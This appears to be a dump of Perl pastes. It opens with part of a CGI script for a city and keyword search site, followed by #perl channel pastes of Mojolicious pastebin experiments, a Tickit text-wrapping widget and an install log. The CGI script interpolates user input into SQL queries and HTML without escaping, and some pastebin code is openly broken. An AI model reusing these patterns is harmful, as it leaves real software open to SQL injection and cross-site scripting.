<body bgcolor=#ffffff style=\"background-color: #ffffff;\" link=#3366cc vlink=#3366cc alink=#3366cc>
$notmobilecenter<font face="verdana">
<link href='//fonts.googleapis.com/css?family=Scada:400,700' rel='stylesheet' type='text/css'>
<div style="position:fixed;z-index:101;top:0;left:0;height:25px;margin-top:0px !important;border-bottom:3px solid
transparent;background-color:transparent;width:100% !important;margin:0px !important;padding-bottom:0px !important;padding-top:0px 
!important;"><!nobr><div itemscope itemtype="https://schema.org/Organization"><span itemprop="name"><a 
href="/xyz" rel="home"><center><font 
style="font-size:30px;color:#557755;font-weight:bold;text-align:center;">XYZ</font></center></a></span></nobr></span></div></div>$mobilebr

<div class=\"indented\" style="margin-top:$notmobilemargin;">
<font color=white size=2>

Content

<div style="height:150px;">&nbsp;</div>

<div class="stuff" 
style="position:fixed;left:0;bottom:0px;height:95px;width:100%;background:transparent;padding-bottom:2px;padding-top:8px;border-top:3px 
solid transparent;""><form style=\"line-height:30px;\" method=\"GET\" action=/xyz class="wpcf7-form"><center><input 
placeholder="City" type=text name="c" maxlength=50 size=5 
style=\"width:105px;height:37px;background-color:#444444;border-top:2px solid #aaa;border-left:2px solid 
#aaa;border-radius:6px;\">&nbsp;<input placeholder="Keyword" type=text name="k" maxlength=50 
style=\"width:105px;height:37px;background-color:#444444;border-top:2px solid #aaa;border-left:2px solid 
#aaa;border-radius:6px;\">&nbsp;<input type=submit 
value=\"SEARCH\" 
style=\"padding:0;width:105px;height:38px;background-color:#557755;color:#ffffff;border:1px solid 
white;font-weight:bold;border-radius:6px;font-size:20px;\"><div style="height:10px;">&nbsp;</div><div style="background-color:#dddddd;"><nobr><a href=/><font style="color:#557755;font-size:12px;font-family:Scada;font-weight:bold;">XYZ</font></a>
&nbsp;&nbsp;<a 
href=/xyz><font style="color:#557755;font-size:12px;font-family:Scada;font-weight:bold;">Content</font></a></nobr>&nbsp;&nbsp;<font style="color:#444444;font-size:11px;font-family:Scada;font-weight:normal;font-style:italic;">All Rights Reserved</font>
</div></center></div></form><br>&nbsp;<br>&nbsp;

EOF
read_file('./shit2');
@cities = @file;
undef @file;

print "</div></body></html>";
sub read_file {
	$file = shift;
        @file;
        open( FILE, "< $file" ) or die "Can't open $filename : $!";
        while( <FILE> ) {
            s/#.*//;                    # ignore comments by erasing them
            next if /^(\s)*$/;          # skip blank lines
            chomp;                      # remove trailing newline characters
            push @file, $_;             # push the data line onto the array
        }
}
sub pull {

$citystate = "";
unless ($checkcity eq "" || $checkcity eq " " ){
		$sth = $dbh->prepare("select state from cities where city = '$checkcity'") or print "Couldn't prepare: $DBI::errstr\n";
                if ($sth->execute()) {
                        $checkstate = $sth->fetchrow_array();
			$sth->finish();
		}
	$checkcitydash = $checkcity;
	$checkcitydash =~ s/\s/-/g;
	$checkstatedash = $checkstate;
	$checkstatedash =~ s/\s/-/g;

	unless ($ENV{REQUEST_URI} =~ /\/$checkstatedash\/$checkcitydash/i || (($ENV{REQUEST_URI} =~ /xyz\/$checkstatedash/i || $ENV{REQUEST_URI} eq /xyz\/$checkstatedash\//i) && $checkstatedash eq $checkcitydash)){
		use CGI;
		my $q = CGI->new;
		$headlocation = "https://xyz.com/xyz/".$checkstate."/".$checkcity."/".$checkphrase."/";
		$headlocation =~ s/\s/-/g;
		print $q->header(-location => $headlocation);
		print "Content-Type: text/html\n\n";
		print $headlocation;
	}

	unless ($checkcity eq $checkstate) {
		$citystate = $checkcity.", ".$checkstate;
	} else {
		$citystate = $checkstate;
	}
}

print "Content-Type: text/html\n\n";
$cityphrase = ucfirst($checkphrase)." ".ucfirst($citystate);
$cityphrase =~ s/(\w+)/\u$1/g;
$cityphrasecomma = "";
unless ($cityphrase eq "" || $cityphrase eq " "){
	$cityphrasecomma = $cityphrase." - ";
}
$title = $cityphrasecomma."XYZ - XYZ";
print "<html><head><meta name=\"description\" content=\"$title\">";
print "<title>$title</title>\n";
print "<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"></head><body><font face=arial>\n";
$randomnumber = int(rand(9999));
print <<EOF;
<html><head>
<!--[if lt IE 9]>
<script src="/html5.js" type="text/javascript"></script>
<![endif]-->
<script type='text/javascript' src='/jquery.js?ver=1.8.3'></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script><script type="text/javascript">
/* <![CDATA[ */
\$(function() {
	var input = document.createElement("input");
    if(('placeholder' in input)==false) { 
		\$('[placeholder]').focus(function() {
			var i = \$(this);
			if(i.val() == i.attr('placeholder')) {
				i.val('').removeClass('placeholder');
				if(i.hasClass('password')) {
					i.removeClass('password');
					this.type='password';
				}			
			}
		}).blur(function() {
			var i = \$(this);	
			if(i.val() == '' || i.val() == i.attr('placeholder')) {
				if(this.type=='password') {
					i.addClass('password');
					this.type='text';
				}
				i.addClass('placeholder').val(i.attr('placeholder'));
			}
		}).blur().parents('form').submit(function() {
			\$(this).find('[placeholder]').each(function() {
				var i = \$(this);
				if(i.val() == i.attr('placeholder'))
					i.val('');
			})
		});
	}
});
/* ]]> */
</script>
<title>Check Rankings</title>

<link rel='stylesheet' id='twentyfourteen-style-css'  href='/xyz/style.css?ver=3.9.1' type='text/css' media='all' />
<style>
input[placeholder], [placeholder], *[placeholder] {
   /*color:#cc9900 !important;*/
   color:white !important;
   opacity:1 !important;
}
input::-webkit-input-placeholder{
    color:white;
    opacity:1 !important;
}
input:-moz-placeholder {
    color:white;
    opacity:1 !important;
}
input::-moz-placeholder {
    color:white;
    opacity:1 !important;
}
img.ajax-loader { display: none; }
.placeholder {
  color: white
  opacity:1 !important;
  }
</style>
<STYLE TYPE="text/css">
<!--
.indented
   {
   padding-left: 10px;
   padding-top: 10px;
   word-wrap: normal;
   }
-->
</STYLE>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>


<body bgcolor=#ffffff style=\"background-color: #ffffff;\">
$notmobilecenter<font face="verdana">
<link href='//fonts.googleapis.com/css?family=Scada:400,700' rel='stylesheet' type='text/css'>
<div style="position:fixed;z-index:101;top:0;left:0;height:25px;margin-top:0px !important;border-bottom:3px solid
transparent;background-color:transparent;width:100% !important;margin:0px !important;padding-bottom:0px !important;padding-top:0px 
!important;"><center><div itemscope itemtype="https://schema.org/Organization"><span itemprop="name"><a
href="/xyz" rel="home"><font
style="font-size:30px;color:#557755;font-weight:bold;text-align:center;">XYZ</font></a></span>
</span></nobr></div></center></div>$mobilebr

<div class=\"indented\" style="margin-top:20px;text-align:left;">
EOF
	$ruri = $ENV{'REQUEST_URI'};
	print "<a href=$ruri><font style=".'"color:#0066ff;font-size:25px;font-weight:bold;"'.">$cityphrase</font></a>";

		$sth = $dbh->prepare("select distinct(local) from xyz where keywords like '%".$checkphrase."%' and not local like '%".$checkcity."%' and not local like '%,%'order by rand() asc LIMIT 3") or $msg = $msg."\nCouldn't prepare: $DBI::errstr\n";
                $sth->execute() or $msg = $msg."Couldn't execute: $DBI::errstr\n";
		if ( $sth->rows ) {
                        while($othercities = $sth->fetchrow_array()){
				$sth2 = $dbh->prepare("select state from cities where city = '$othercities'") or print "Couldn't prepare: $DBI::errstr\n";
                		if ($sth2->execute()) {
	                	        $otherstate = $sth2->fetchrow_array();
					$sth2->finish();
				}
				if ($otherstate ne "" && $otherstate ne $othercities) {
					$othercitiesuc = $othercities;
					$othercitiesuc =~ s/(\w+)/\u$1/g;
					$checkphraseuc = $checkphrase;
					$checkphraseuc =~ s/(\w+)/\u$1/g;
					$checkphrasedash = $checkphrase;
					$checkphrasedash =~ s/ /-/g;
					$othercitiesdash = $othercities;
					$othercitiesdash =~ s/ /-/g;
					$otherstatedash = $otherstate;
					$otherstatedash =~ s/ /-/g;
					print "<font style=".'"font-size:12px;font-weight:normal;padding-left:80px;"'."><a href=/xyz/$otherstatedash/$othercitiesdash/$checkphrasedash>$checkphraseuc $othercitiesuc</a></font>";
				}
			}
			$sth->finish();
			print "<br>&nbsp;<br>";
		}
		$sth = $dbh->prepare("select * from xyz where (local like '%".$checkcity."%' or keywords like '%".$checkcity."%') and keywords like '%".$checkphrase."%' order by YEAR(foundlast) desc, MONTH(foundlast) desc, DAY(foundlast) desc, keywords asc LIMIT 100") or $msg = $msg."\nCouldn't prepare: $DBI::errstr\n";
                $sth->execute() or $msg = $msg."Couldn't execute: $DBI::errstr\n";

		if ( $sth->rows ){
                while(@row = $sth ->fetchrow_array()){
#my @array_of_hashrefs = @{$dbh->selectall_arrayref($sql, { Slice => {} }, @args)};
#foreach my $row (@array_of_hashrefs) { my $value = $row->{column_name}; ... } etc.
			$url = $row[0];
			$page_title = $row[28];
			$page_title =~ s/$url//gi;
			$page_title =~ s/http\:\/\///gi;
			$page_title =~ s/www\.//gi;
			$page_title =~ s/[^a-z 0-9\_\s\.\!\?\,\-\:\;]//gi;
			$page_title = substr $page_title, 0, 250;
			if (length($page_title) < 10){
				$page_title = "";
			}
			$page_desc = $row[34];
			$page_desc =~ s/$url//gi;
			$page_desc =~ s/http\:\/\///gi;
			$page_desc =~ s/www\.//gi;
			$page_desc =~ s/[^a-z 0-9\_\s\.\!\?\,\-\:\;]//gi;
			$page_desc = substr $page_desc, 0, 250;
			if (length($page_desc) < 10){
				$page_desc = "";
			}
			$page_city = $row[9];
			$page_keywords = $row[8];
			$page_foundlast = $row[20];
			$page_foundfirst = $row[17];
			$page_foundlast = $row[20];
			$page_foundfirst = substr $page_foundfirst, 0 , 10;
			$page_foundlast = substr $page_foundlast, 0 , 10;
			$page_foundfirst =~ s/-/\//ig;
			$page_foundlast =~ s/-/\//ig;
				print '<font style="font-size:14px;">';
				unless ($page_title eq "" || $page_title !~ /\w/){
        	                	print "<font color=#444444><b>$page_title</b></font><br>";#title
				}
				unless ($page_desc eq "" || $page_desc !~ /\w/ || $page_desc =~ /$page_title/gi){
					if ($page_title eq "" || $page_title !~ /\w/){
						print "<b>";
					}
	                        	print "<font color=#444444 size=2>$page_desc</font><br>";#description
					if ($page_title eq "" || $page_title !~ /\w/){
						print "</b>";
					}
				}
 				$page_keywords = substr $page_keywords, 0, 200;

				@page_keywords = split(",",$page_keywords);
				$page_keywords = "";
				foreach(@page_keywords){
					$page_keyword = ucfirst($_);
					$page_keyword =~ s/(\w+)/\u$1/g;
                                        $page_keyword_lc = "";
                                        $page_keyword_lc = lc($page_keyword);
                                        $page_keyword_lc =~ s/ /-/g;
					$checkcityuc = $checkcity;
					$checkcityuc =~ s/(\w+)/\u$1/g;

                                        $page_keywords = $page_keywords." <a style=\"color:#557755;\" href=/xyz/$checkstatedash/$checkcitydash/$page_keyword_lc>".$page_keyword." $checkcityuc</a>, ";
				}
				chop($page_keywords);
				chop($page_keywords);
	               	        print "<font color=#444444 size=2>$page_keywords</font><br>";#keywords

                        	print "<a target=_blank href=http://$url><font color=#3399ff size=2>$url</font></a><br>";#url
				print "&nbsp;<br>";
				print "</font>";
                }
	} else {
		print "No results yet.<p>";
		print "<meta http-equiv=\"refresh\" content=\"0; url=https://xyz.com/xyz\">";
	}

	print "</div>";



print <<EOF;
<div style="height:150px;">&nbsp;</div>

<div class="stuff" 
style="position:fixed;left:0;bottom:0px;height:95px;width:100%;background:transparent;padding-bottom:2px;padding-top:8px;border-top:3px 
solid transparent;"><form style=\"line-height:30px;\" method=\"GET\" action=/xyz class="wpcf7-form"><center><input 
placeholder="City" type=text name="c" maxlength=50 size=5 
style=\"width:105px;height:37px;background-color:#444444;border-top:2px solid #aaa;border-left:2px solid 
#aaa;border-radius:6px;\">&nbsp;<input placeholder="Keyword" type=text name="k" maxlength=50 
style=\"width:105px;height:37px;background-color:#444444;border-top:2px solid #aaa;border-left:2px solid 
#aaa;border-radius:6px;\">&nbsp;<input type=submit 
value=\"SEARCH\" 
style=\"padding:0;width:105px;height:38px;background-color:#557755;color:#ffffff;border:1px solid 
white;font-weight:bold;border-radius:6px;font-size:20px;\"><div style="height:10px;">&nbsp;</div><div style="background-color:#dddddd;;"><nobr>
<a href=/><font style="color:#557755;font-size:12px;font-family:Scada;font-weight:bold;">XYZ</font></a>&nbsp;&nbsp;<a 
href=/xyz><font style="color:#557755;font-size:12px;font-family:Scada;font-weight:bold;">XYZ</font></a></nobr>&nbsp;&nbsp;<font style="color:#444444;font-size:11px;font-family:Scada;font-weight:normal;font-style:italic;">All Rights Reserved</font></div></div></center></form><br>&nbsp;<br>&nbsp;

</div>

EOF

	exit;
}
sub page {
$citystate = "";
unless ($checkcity eq "" || $checkcity eq " " ){
		$sth = $dbh->prepare("select state from cities where city = '$checkcity'") or print "Couldn't prepare: $DBI::errstr\n";
                if ($sth->execute()) {
                        $checkstate = $sth->fetchrow_array();
			$sth->finish();
		}
	$citystate = $checkcity.", ".$checkstate;
}
$cityphrase = ucfirst($checkphrase)." ".ucfirst($citystate);

	$cityphrase =~ s/(\w+)/\u$1/g;
	$cityphrasecomma = "";
	unless ($cityphrase eq "" || $cityphrase eq " "){
		$cityphrasecomma = $cityphrase." - ";
	}
	$title = $cityphrasecomma."XYZ - XYZ";
	print "<html><head><meta name=\"description\" content=\"$title\">";
	print "<title>$title</title>\n";
	print "<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"></head><body><font face=arial>\n";
	$randomnumber = int(rand(9999));
	print <<EOF;
<html><head>
<!--[if lt IE 9]>
<script src="/html5.js" type="text/javascript"></script>
<![endif]-->
<script type='text/javascript' src='/jquery.js?ver=1.8.3'></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script><script type="text/javascript">
/* <![CDATA[ */
\$(function() {
	var input = document.createElement("input");
    if(('placeholder' in input)==false) { 
		\$('[placeholder]').focus(function() {
			var i = \$(this);
			if(i.val() == i.attr('placeholder')) {
				i.val('').removeClass('placeholder');
				if(i.hasClass('password')) {
					i.removeClass('password');
					this.type='password';
				}			
			}
		}).blur(function() {
			var i = \$(this);	
			if(i.val() == '' || i.val() == i.attr('placeholder')) {
				if(this.type=='password') {
					i.addClass('password');
					this.type='text';
				}
				i.addClass('placeholder').val(i.attr('placeholder'));
			}
		}).blur().parents('form').submit(function() {
			\$(this).find('[placeholder]').each(function() {
				var i = \$(this);
				if(i.val() == i.attr('placeholder'))
					i.val('');
			})
		});
	}
});
/* ]]> */
</script>
<title>Check Rankings</title>

<link rel='stylesheet' id='twentyfourteen-style-css'  href='/xyz/style.css?ver=3.9.1' type='text/css' media='all' />
<style>
input[placeholder], [placeholder], *[placeholder] {
   /*color:#cc9900 !important;*/
   color:white !important;
   opacity:1 !important;
}
input::-webkit-input-placeholder{
    color:white;
    opacity:1 !important;
}
input:-moz-placeholder {
    color:white;
    opacity:1 !important;
}
input::-moz-placeholder {
    color:white;
    opacity:1 !important;
}
img.ajax-loader { display: none; }
.placeholder {
  color: white;
  opacity:1 !important;
  }
</style>
<STYLE TYPE="text/css">
<!--
.indented
   {
   padding-left: 10px;
   padding-top: 10px;
   word-wrap: normal;
   }
-->
</STYLE>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body bgcolor=#ffffff style=\"background-color: #ffffff;\">
<div class=\"indented\">
<font face=arial color=#444444 size=2><form style=\"line-height:30px;\" method=\"GET\" action=/xyz class="wpcf7-form">

<link href='//fonts.googleapis.com/css?family=Scada:400,700' rel='stylesheet' type='text/css'>
<!center><div itemscope itemtype="https://schema.org/Organization"><nobr><span itemprop="name"><a href="/" rel="home"><font style="font-family:Scada;font-size:30px;color:#0066ff;font-weight:bold;text-align:center;">XYZ</font></a></span>
</nobr>$mobilebr</div>
<div class=\"indented\"><a href=https://xyz.com/xyz><font style="color:#0066ff;font-weight:bold;font-size:20px;font-style:italic;padding-left:50px;"><font color=#0066ff>XYZ</font></font></a>
<!/center><br>&nbsp;<br>

<input placeholder="Keyword *" type=text name="k" maxlength=50 style=\"width:105px;height:40px;background-color:#444444;border:1px solid #0066ff;border-radius:6px;\">
&nbsp;<input placeholder="City" type=text name="c" maxlength=50 size=5 style=\"width:105px;height:40px;background-color:#444444;border:1px solid #0066ff;border-radius:6px;\">
&nbsp;<input type=submit value=\"SEARCH\" style=\"padding:0;width:105px;height:40px;background-color:#557755;color:#ffffff;border:1px solid white;font-weight:bold;border-radius:6px;font-size:17px;\"></form><br>&nbsp;<br>
EOF
print "<font color=white size=4><b>$cityphrase</b></font><br>&nbsp;<br>&nbsp;<br>";
if ($checkcity eq ""){
	read_file('./shit2');
	@cities = @file;
	undef @file;
	foreach $cities (@cities){

		$cities = lc($cities);
		$uccities = ucfirst($cities);
		print "<a href=\".//$checkphrase/$cities\">$uccities</a> &nbsp;&nbsp";

	}

}else{
	$checkcity = lc($checkcity);

		$sth = $dbh->prepare("select distinct keywords from xyz where (local like '%".$checkcity."%' or keywords like '%".$checkcity."%') order by keywords asc") or $msg = $msg."\nCouldn't prepare: $DBI::errstr\n";
	        $sth->execute() or $msg = $msg."Couldn't execute: $DBI::errstr\n";
	        while($row = $sth ->fetchrow_array()){
			$keywords = $row;
			if ($keywords =~ /\,/){
				@keywords = split($keywords,",");
				foreach (@keywords){
					unless ($_ = ","){
						$uckeywords = ucfirst($_);
			        		print "<a href=\".//$_/$checkcity\">$uckeywords</a> &nbsp;&nbsp";
					}
				}
			} else {
				$uckeywords = ucfirst($keywords);
			        print "<a href=\".//$keywords/$checkcity\">$uckeywords</a> &nbsp;&nbsp";
			}
		}
		$sth->finish();

}
print "</div></body></html>";
exit;
}



who: tentik
where: localhost:perlbot:#perl
what: trying to learn off broke code, help
paste:
#!/usr/bin/env perl
use strict;
use warnings;
use Mojolicious::Lite;

my $uploadFileDirectory = 'UPLOADS';
mkdir $uploadFileDirectory if ( !-d $uploadFileDirectory );

$ENV{"MOJO_MAX_MESSAGE_SIZE"} = 25 * 2**20;    #25 MB

get '/upload' => sub {
    my $c = shift;
    $c->render('simpleUploadForm');
};

post '/handleUpload' => sub {
    my $c = shift;
    my @fileNames;
    my $files = $c->req->every_upload('files');
    for my $file ( @{$files} ) {
        my $fileName = $file->filename =~ s/[^\w\d\.]+/_/gr;
        $file->move_to("$uploadFileDirectory/$fileName");
        $c->app->log->debug("$fileName uploaded\n");
        push @fileNames, $fileName;
    }
    $c->render( 'successUpload', files => \@fileNames );
};

app->start;

__DATA__

@@ simpleUploadForm.html.ep
<!DOCTYPE html>
<html>
   <form action='/handleUpload' method='post' enctype='multipart/form-
+data'>
   Select Files: <input type='file' name='files' multiple=1><br/>
   <input type="submit" >
</html>

@@ successUpload.html.ep
<!DOCTYPE html>
<html>
        <img src='success.jpg' />
        <% for my $j (@{$files}) { %>
        <p>
                <%= $j %>
        </p>
        <% } %>
</html>

@@ exception.development.html.ep
<!DOCTYPE html>
<html>
   Fail
</html>


who: tentik
where: localhost:perlbot:#perl
what: rawbin, trying it out
paste:
!/usr/bin/perl
use strict; use warnings;
use Mojolicious::Lite;
###########################
# SETUP
app->defaults (
  paste => '',
  error => '',
  title => 'RAWBIN',
);
my $ID = 0;
my $dir = 'pastes';
die "no paste dir" unless -d $dir;
#######################
# HOME 
get '/', sub {
  my $c = shift;
  return unless my $id = $c->param('edit');
  return $c->delay(
    sub { $c->paste($id => $paste, shift->begin) },
    sub {
      my ($delay, $err, $paste) = @_;
      return $c->no_such_paste($err || 'NO PASTE EXITS') if $err or !$paste;
      return $c->param(paste => $paste)->render;
    },
  );
  },
  'pastebin';
#########################
# PASTE
post '/', sub {
  my $c = shift;
  my $paste = $c->param('paste') || '';
  return $c->render('pastebin', placeholder => 'NULL SUBMISSION', status => 400)
    unless $paste =~ /\w/;
  my $id = substr Mojo::Util::md5_sum(), 0, 6;
  $c->delay(
    sub { $c->paste($id => $paste, shift->begin) },
    sub {
      my ($delay, $err) = @_;
      die $err if $err;
      $c->redirect_to('show', paste_id=>$id);
    },
  );
};
########################
# STORE

########################
# CALL
get '/:paste_id', sub {
  my $c = shift;
  $c->delay(
    sub { $c->paste($c->stash('paste_id'), shift->begin) },
    sub {
      my ($delay, $err, $paste) = @_;
      if ($err or !$paste)
        { $c->no_such_paste($err || 'NO PASTE EXISTS'); }
      else {
        $c->res->headers->content_type('text/plain; charset=utf-8');
        $c->render(text => $paste);
      }
},
  );
};
#######################
# END
app->start('daemon', '-l', 'http://127.0.0.1:8090');

                  


who: tentik
where: localhost:perlbot:#perl
what: rawbin from scratch
paste:
#!/usr/bin/perl
use strict; use warnings;
use Mojolicious::Lite;
my $dir = 'paste';
die "no paste dir" unless -d $dir;
################################
# ROOT 
get '/' => 'form';
################################
# PASTE
post '/', sub {
  my $c = shift;
  
  #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  # how to i capture the form submission?
  # upload or catfile
  
  my $paste = $c->req->upload('paste');
  return $c->render(message => 'PASTE FAILED') unless $paste;
  my $id = substr Mojo::Util::md5_sum($$ . time), 0, 6;
  my $loc = $dir . $id;
  $paste->move_to($loc);
# FILE #########################
  $c->redirect_to("paste/$id");
};
################################
# END
app->start('daemon', '-l', 'http://*:8091');
__DATA__
@@ form.html.ep
<html>
  <head><title>RAWBIN</title></head>
  <body>
    PASTE HERE
    %= form_for text_area => begin
      %= text_field 'paste'
      %= submit_button 'PASTE'
    % end
  </body>
</html>


who: tentik
where: localhost:perlbot:#perl
what: updated-working, but should i binmode it
paste:
#!/usr/bin/perl
use strict; use warnings;
use Mojolicious::Lite;
use Digest::SHA1 'sha1_hex';
use File::Slurp 'read_file';
##############################
# RAWBIN - raw pastebin server
#############################
# SETUP
my $dir = 'paste/';
die "no paste dir" unless -d $dir;
#app->renderer->types->type(raw => 'text/plain; charset=utf-8');
##############################
# ROOT 
get '/' => 'form';
##############################
# PASTE
post '/', sub {
	my $c = shift;
	my $paste = $c->param('paste');
	$c->stash(paste => '');
	return $c->render(message => 'PASTE FAILED') unless $paste;
	my $enc_paste = Mojo::ByteStream->new($paste)->encode('utf-8');
	my $pre_id = sha1_hex($enc_paste);
	my $id = substr($pre_id, 0, 6);
	my $loc = $dir . $id;
	open(my $pfh, '>', $loc);	
	print $pfh $enc_paste;
# FILE #########################
	$c->redirect_to(template => 'view', id => $id); 
};
#=> 'form';
###############################
# CALL
get '/:id' => sub {
	my $c = shift;
	my $id = $c->stash('id');
	my $loc = $dir . $id;
	return $c->render(message => 'PASTE NO EXIST') unless -e $loc;
	my $paste = read_file($loc, binmode => ':utf8');
	$c->render(text => $paste);
} => 'view';
################################
# END
app->start('daemon', '-l', 'http://*:8091');
__DATA__
@@ form.html.ep
<html>
    <head>
        <title>RAWBIN</title>
        <style type="text/css">
            html, body {height: 100%}
            body {background: #fff;font-family: "Helvetica Neue", Arial, Helvetica, sans-serif;}
            h1,h2,h3,h4,h5 {font-family: times, "Times New Roman", times-roman, georgia, serif; line-height: 40px; letter-spacing: -1px; color: #444; margin: 0 0 0 0; padding: 0 0 0 0; font-weight: 100;}
            a,a:active {color:#555}
            a:hover{color:#000}
            a:visited{color:#000}
            img{border:0px}
            pre{padding:0.5em;overflow:auto;overflow-y:visible;width:600px;}
            pre.lines{border:0px;padding-right:0.5em;width:50px}
 						#body {width:700px;min-height:100%;height:auto !important;height:100%;margin:0 auto -6em;}
            #header {text-align:center;padding:0em 0em 2em 0em;}
            .content {background:#eee;border:2px solid #ccc;width:700px}
            .created, .modified {color:#999;margin-left:10px;font-size:small;font-style:italic;padding-bottom:0.5em}
            .modified {margin:0px}
            .label{text-align:right;vertical-align:top;width:1%}
            .center{text-align:center}
            .error {padding:2em;text-align:center}
            #footer{width:75%;margin:auto;font-size:80%;text-align:center;padding:2em 0em 2em 0em;height:2em;}
            .push {height:6em}
            .clear {clear:both}
        </style>
    </head>
    <body>
    <div id="body">
        <div id="header">RAWBIN</div>

        <%== content %>

        <form method="post" action="/">
        <table width="100%">
        <tr><td></td><td>
        <textarea name="paste" cols="100" rows="50"></textarea>
        </td></tr>
        <tr><td></td><td><input type="submit" value="Paste!" /> <input type="reset" value="Clear"></td></tr>
        </form>
   <tr><td><br /></td><td></td></tr>
        </table>

        <div class="push"></div>
        </div>

        <div class="clear">
    </body>
</html>

@@ view.html.ep
% layout 'wrapper';
<table width="100%">
<tr>
% my $class = 'txt';
<td>
<a href="<%= url_for format => 'raw' %>">raw</a> 
</td></tr>
</table>
<br />
% my @paste = split("\n", $paste); my $total = @paste;
<div class="content">
<div style="float:left;text-align:right">
<pre class="lines"><code><%== "$_\n" for 1 .. $total %></code></pre>
</div>
<div class="float:right">
<pre><code class="<%= $class %>"><%= $paste %></code></pre>
</div>
<div class="clear"></div>
</div>
<br />


who: tentik
where: localhost:perlbot:#perl
what: \n don't get posted, ningu any thots
paste:
get '/:id' => sub {
  my $c = shift;
  my $id = $c->stash('id');
  my $loc = $dir . $id;
  return $c->render(message => 'PASTE NO EXIST') unless -e $loc;
  open(my $pfh, "<:encoding(UTF-8)", $loc);
  my $paste = do { local $/; <$pfh> };
  $c->render(text => $paste);
} => 'view';

__DATA__
@@ view.html.ep
% my @paste = split("\n", $paste); my $total = @paste;
<div class="content">
<div style="float:left;text-align:right">
<pre class="lines"><code><%== "$_\n" for 1 .. $total %></code></pre>
</div>
<div class="float:right">
<pre><code class="<%= $class %>"><%= $paste %></code></pre>
</div>
<div class="clear"></div>
</div>
<br />


who: tentik
where: localhost:perlbot:#perl
paste:
get '/:id' => sub {
  my $c = shift;
  my $id = $c->stash('id');
  my $loc = $dir . $id;
  return $c->render(message => 'PASTE NO EXIST') unless -e $loc;
  open(my $pfh, "<:encoding(UTF-8)", $loc);
  my $paste = do { local $/; <$pfh> };
  $c->render(text => $paste);
} => 'view';

__DATA__
@@ view.html.ep
my @paste = split("\n", $paste); my $total = @paste;
"$_\n" for 1 .. $total


who: altreus
where: localhost:perlbot:#perl
what: :/ ?
paste:
#!perl
use v5.24;
use Tickit;
use Tickit::Widgets qw/VBox Static Entry/;
use Text::Wrap;

my $static = Tickit::Widget::Static->new(
    text => <<'EOL'
1. Nunc cursus odio felis, nec tincidunt enim sodales eu. Nullam accumsan elit nulla, nec suscipit mi feugiat et. In nec purus nec elit condimentum sagittis nec ut lacus. Donec porttitor sem ac ipsum venenatis blandit. Nullam at turpis ac risus accumsan elementum et et erat. Mauris dignissim iaculis nisl et cursus. Nulla turpis sem, sodales id mattis sed, cursus sed dolor. Vivamus tempor odio a lacinia porta. Phasellus iaculis neque pellentesque, porttitor massa sit amet, elementum nisi. Nam vitae euismod est, eu finibus nulla. Mauris tincidunt venenatis suscipit. Nam sodales efficitur quam, id iaculis nisi convallis nec. Cras facilisis suscipit nisl luctus semper. Vivamus ut diam ante. In sapien tellus, hendrerit non orci nec, vulputate sagittis risus. Suspendisse pharetra tempus fermentum.
EOL
);

my $box = Tickit::Widget::VBox->new;

$box->add( $static, expand => 1);
$box->add( Tickit::Widget::Static->new( text => '2. lalalala' ), expand => 1);
$box->add( Tickit::Widget::Static->new( text => '3. lalalala' ), expand => 1);
$box->add( Tickit::Widget::Static->new( text => '4. lalalala' ), expand => 1);
$box->add( Tickit::Widget::Entry->new, expand => 0 );

my $ticket = Tickit->new(
    root => $box
)->run;

$static->set_text(wrap ('', '', $static->text));


who: altreus
what: U+1F914
paste:
package Tickit::Widget::StaticWrapped;
use strict;
use warnings;

# ABSTRACT: Static text that wraps lines to its container size.
use Text::Wrap;
use base 'Tickit::Widget::Static';

sub set_text {
    my ($self, $text) = @_;

    my @lines = split /\n/, $text;
    @lines = "" if !@lines;

    $self->{unwrapped_lines} = \@lines;
    $self->SUPER::set_text($text);
}

sub reshape {
    my $self = shift;
    $self->SUPER::reshape(@_);

    local $Text::Wrap::columns = $self->window->cols;

    my @new_to_old;
    my $text = '';
    my @ulines = @{ $self->{unwrapped_lines} };
    for my $idx (0 .. @ulines) {
        my $line = $ulines[$idx];
        my $wrapped = wrap('','',$line);

        # Remember which input line ($idx) produced each output line
        push @new_to_old, ($idx) x ( () = $wrapped =~ /\n/);

        $text .= $wrapped . "\n";
    }

    $self->set_text($text);
    $self->{line_expansion_map} = \@new_to_old;
}


1;


who: vague
what: Installing Tickit
paste:
Running cpanm -sudo Tickit gives:
Configuring Alien-libtermkey-0.17
Running Build.PL
Looking for pkg-config unibilium... found
OS unsupported - unable to find GNU libtool
Running Makefile.PL
# running Build.PL 
Looking for pkg-config unibilium... found
OS unsupported - unable to find GNU libtool

so I checked Alien::libtermkey README and ran:
sudo apt install libtermkey-dev

After that cpanm -sudo Tickit again and when it tries to install Alien::libtermkey:
Configuring Alien-libtermkey-0.17
Running Build.PL
Looking for pkg-config unibilium... found
Detected termkey version >= 0.18 from pkg-config
Created MYMETA.yml and MYMETA.json
Creating new 'Build' script for 'Alien-libtermkey' version '0.17'
-> OK
Checking dependencies from MYMETA.json ...
Checking if you have File::Basename 0 ... Yes (2.85)
Checking if you have File::Spec 0 ... Yes (3.63_01)
Checking if you have File::Path 2.07 ... Yes (2.12_01)
Building and testing Alien-libtermkey-0.17
Building Alien-libtermkey
Building Alien-libtermkey
Installing /opt/perlbrew/perls/perl-5.24.1/lib/site_perl/5.24.1/Alien/libtermkey.pm
Installing /opt/perlbrew/perls/perl-5.24.1/man/man3/Alien::libtermkey.3
-> OK
Successfully installed Alien-libtermkey-0.17


paste:
#!perl
use v5.24;
use Tickit;
use Tickit::Widgets qw/VBox StaticWrapped Entry/;

my $list = Tickit::Widget::VBox->new;
my $box = Tickit::Widget::VBox->new;

$list->add( Tickit::Widget::StaticWrapped->new( expand => 1, text => <<'EOT' ) );
